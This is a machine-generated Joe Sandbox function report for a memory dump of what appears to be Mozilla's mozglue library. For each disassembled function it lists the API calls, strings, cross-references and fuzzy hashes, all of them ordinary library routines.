Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: QzO/$d
API String ID: 204725295-1368046731
Opcode ID: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction ID: 9e70de391897d7a5d0a4a227d810664c63ff356b20a0fa48f6c026394159ac23
Opcode Fuzzy Hash: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction Fuzzy Hash: 9031D871E0434897DB01DB68CC449FEB778EF95318F469629EC4997612FB31A9C8C394

Function 6C54B540 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C54B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C54B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C54B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C54B5F4
__Init_thread_footer.LIBCMT ref: 6C54B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C54B61F
std::_Facet_Register.LIBCPMT ref: 6C54B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54B655

Strings

QzO/, xrefs: 6C54B54B

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID: QzO/
API String ID: 1276798925-117776061
Opcode ID: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction ID: 6bb4df23af8f54ea8cf92ffafdd07cc5e273403050cbfb2a950d692f924c1407
Opcode Fuzzy Hash: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction Fuzzy Hash: 60318F71B00204CBCF00EF69CC989AEB7B5FF8A324B964519D90697781DB31A906CB95

Function 6C4DECD0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C4DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4DEDCC
CreateFileW.KERNEL32 ref: 6C4DEE08
free.MOZGLUE(00000000), ref: 6C4DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4DEE32

Part of subcall function 6C4DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4DEBB5
Part of subcall function 6C4DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C50D7F3), ref: 6C4DEBC3
Part of subcall function 6C4DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C50D7F3), ref: 6C4DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4DEDC1
QzO/, xrefs: 6C4DECDC

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: QzO/$\Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-3147330647
Opcode ID: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction ID: 43eec158095b96cf7f8926302b25dc59d230676e3bacc979cb5fb84344dd10ce
Opcode Fuzzy Hash: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction Fuzzy Hash: 5F51BE71D052058BDB01EF68C890EEEF7B1AF59318F46852DE8556B740EB30B949C7E2

Function 6C54A520 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A565

Part of subcall function 6C54A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C54A4BE
Part of subcall function 6C54A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C54A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C54A6B6

Strings

0, xrefs: 6C54A5FB
QzO/, xrefs: 6C54A539
z, xrefs: 6C54A6AE

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$QzO/$z
API String ID: 310210123-1222102044
Opcode ID: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction ID: a22cfca7e0ec4809c0bcded96d63afa0a00d75b452c2d2d3adea9534b530caf2
Opcode Fuzzy Hash: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction Fuzzy Hash: C94128759087459FC781DF28C480A9FBBE5BFC9354F508A2EF49987650EB30E549CB82

Function 6C521D00 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C521D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D4C
GetCurrentThreadId.KERNEL32 ref: 6C521DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C521DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C521DDA

Part of subcall function 6C521EF0: GetCurrentThreadId.KERNEL32 ref: 6C521F03
Part of subcall function 6C521EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C521DF2,00000000,00000000), ref: 6C521F0C
Part of subcall function 6C521EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C521F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C521DF4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Strings

QzO/, xrefs: 6C521D83

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID: QzO/
API String ID: 1880959753-117776061
Opcode ID: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction ID: 67f9729a0c717aecc77407e37afc9ad5a1c7021f2f71dde8b5abc7677540f3d5
Opcode Fuzzy Hash: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction Fuzzy Hash: A04166B5200700DFCB10DF29C888A56BBF9FB89324F51442EE99A87B81DB75F854CB95

Function 6C4E1640 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E1699
VerSetConditionMask.NTDLL ref: 6C4E16CB
VerSetConditionMask.NTDLL ref: 6C4E16D7
VerSetConditionMask.NTDLL ref: 6C4E16DE
VerSetConditionMask.NTDLL ref: 6C4E16E5
VerSetConditionMask.NTDLL ref: 6C4E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E16F9

Strings

QzO/, xrefs: 6C4E164C

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID: QzO/
API String ID: 375572348-117776061
Opcode ID: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction ID: b102370272a60fdb7ddf50535139f1f58e7c24a438c8255c1155fc4aa3c94ab3
Opcode Fuzzy Hash: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction Fuzzy Hash: F621D5B07402086FEB11AB648C85FBB73BCEFC6704F414528F6459B181C678AD548AA1

Function 6C4E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4157

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 0ec1e20bfe1ad3e5a38f23f896255c5681ad1bb4c8bee250976c80150a410b7d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 09A19FB1A00205CFDB41CF68C880F59B7B5BF8C349F2651A9D909AF752D771E886CBA0

Function 6C52DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C52DDCF

Part of subcall function 6C50FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50FA4B

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE0D
free.MOZGLUE(00000000), ref: 6C52DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF32

Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DB86
Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF65
free.MOZGLUE(?), ref: 6C52DF80

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction ID: 4c49798dfbd4e7fc538480e9b9cd31625e4cbc36a712a0b41057e8afac0b43ff
Opcode Fuzzy Hash: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction Fuzzy Hash: 1A51C5726016009BD721DB28CC806AEB3F6BFD5318F96051CD85A53B90D739F91ACBD6

Function 6C50CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4D31A7), ref: 6C50CDDD

Strings

<jemalloc>, xrefs: 6C50CF9F, 6C50CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C50CFA4, 6C50CFB8

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction ID: bdf98bc23b7036e1ce9493a52bbdfc81020d7f9e8ef2ee296cd1bea1899adbb8
Opcode Fuzzy Hash: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction Fuzzy Hash: A231B4707402055BEF11BEA58C45BAE7BB5AF82718F714519F611EBA80DB70F400CBB6

Function 6C516590 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5167C8

Part of subcall function 6C524290: memcpy.VCRUNTIME140(?,?,6C532003,6C530AD9,?,6C530AD9,00000000,?,6C530AD9,?,00000004,?,6C531A62,?,6C532003,?), ref: 6C5242C4

Strings

vUl, xrefs: 6C51696C
QzO/, xrefs: 6C5165A3
data, xrefs: 6C516593

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: QzO/$data$vUl
API String ID: 511789754-3496867
Opcode ID: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction ID: 1aa911cf9f449c6251d9080a358008f546be6580e3ac84a90826315a0d3c4f27
Opcode Fuzzy Hash: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction Fuzzy Hash: 5BD19E75A083408BD724DF25CC55B9EBBE5EFC5308F50892ED58987B91EB30A849CB92

Function 6C50D5D0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4DEB57,?,?,?,?,?,?,?,?,?), ref: 6C50D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4DEB57,?), ref: 6C50D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4DEB57,?), ref: 6C50D673
free.MOZGLUE(?), ref: 6C50D888

Strings

QzO/, xrefs: 6C50D5DC, 6C50D7AC
WMl, xrefs: 6C50D5D9, 6C50D63F
|Enabled, xrefs: 6C50D81E

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: QzO/$WMl$|Enabled
API String ID: 4142949111-227981820
Opcode ID: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction ID: 6b77c40a96e019b1baa90a57332318e1965589b368983649f8042ab0972dc88f
Opcode Fuzzy Hash: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction Fuzzy Hash: 9AA1E2B0B003058FDB11CF69CC90BAEBBF1AF49318F58855CD899AB742D735A945CBA1

Function 6C4E05F0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

QzO/, xrefs: 6C4E0601

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: QzO/
API String ID: 0-117776061
Opcode ID: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction ID: 3029ad988cb6f74fa14e2f475022cdb69106582de1aada9ba2cbaa68e931ccb0
Opcode Fuzzy Hash: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction Fuzzy Hash: 7FA148B0A00605CFDB14CF29C984E9AFBF1BF89305F45866ED45A97B00EB30A945CF90

Function 6C5314A0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5314E2
GetCurrentThreadId.KERNEL32 ref: 6C531546
InitializeConditionVariable.KERNEL32(?), ref: 6C5315BA
free.MOZGLUE(?), ref: 6C5316B4

Strings

QzO/, xrefs: 6C5314B2

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID: QzO/
API String ID: 1909280232-117776061
Opcode ID: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction ID: 46c7631fee0261bc19cc084fc37e4cc20f6840f106e69e9aab641973170204b9
Opcode Fuzzy Hash: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction Fuzzy Hash: 3C61DD72A00710DBDB119F24CC80BDBB7B0BF89308F45951CE98A57611EB34E949CB91

Function 6C529F40 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C529FDB
free.MOZGLUE(?,?), ref: 6C529FF0
free.MOZGLUE(?,?), ref: 6C52A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C52A0BE
free.MOZGLUE(?,?), ref: 6C52A0D5
free.MOZGLUE(?,?), ref: 6C52A0EB

Strings

QzO/, xrefs: 6C529F4F

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID: QzO/
API String ID: 956590011-117776061
Opcode ID: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction ID: 293edd352da6dcb6ba2a3d1f966d905af0f125f71f5164cac49946a5c317af7b
Opcode Fuzzy Hash: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction Fuzzy Hash: 4E618E755086419FC711CF18C88099AB7F5FFC8328F54865DE8A99B742EB31E986CBC1

Function 6C52C810 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C52C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C52C842

Part of subcall function 6C52CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C54B5EB,00000000), ref: 6C52CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C52C863
std::_Facet_Register.LIBCPMT ref: 6C52C875

Part of subcall function 6C50B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C54B636,?), ref: 6C50B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C52C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52C8BC

Strings

QzO/, xrefs: 6C52C81E

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

